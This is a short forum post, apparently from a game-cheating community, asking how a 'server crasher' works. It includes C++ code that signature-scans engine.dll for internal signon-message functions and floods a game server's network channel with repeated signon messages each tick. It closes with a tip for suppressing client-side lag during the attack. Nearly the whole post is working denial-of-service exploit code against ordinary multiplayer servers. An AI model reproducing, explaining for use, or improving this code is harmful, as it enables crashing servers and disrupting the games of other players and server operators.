How does this server crasher work (code below)
Functions:
static auto NewSignonMsg = reinterpret_cast<void(__thiscall*)(void*, int, int)>(Utils::FindSignature("engine.dll", "55 8B EC 56 57 8B F9 8D 4F 04 C7 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? C6 ?? ?? ?? C7"));
static auto ClearSignonMsg = reinterpret_cast<void(__thiscall*)(void*)>(Utils:: FindSignature("engine.dll", "53 56 57 8B F9 8D ?? 38 C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B"));
Alloc:
void* pSignonMsg = malloc(76);
Actual crasher:
if (nTotalSentSignon < TOTAL_AMOUNT)
{
NewSignonMsg(pSignonMsg, 6, g_pClientState->m_nServerCount);
for (int i = 0; i < AMOUNT_PER_TICK; i++)
Utils::CallVFunc<42>(g_pClientState->m_NetChannel, pSignonMsg, false, false);
ClearSignonMsg(pSignonMsg);
nTotalSentSignon += AMOUNT_PER_TICK;
}
Fix clientsided lagging by hooking EmitSound and returning when doing to crash/when the null.wav sound tries to play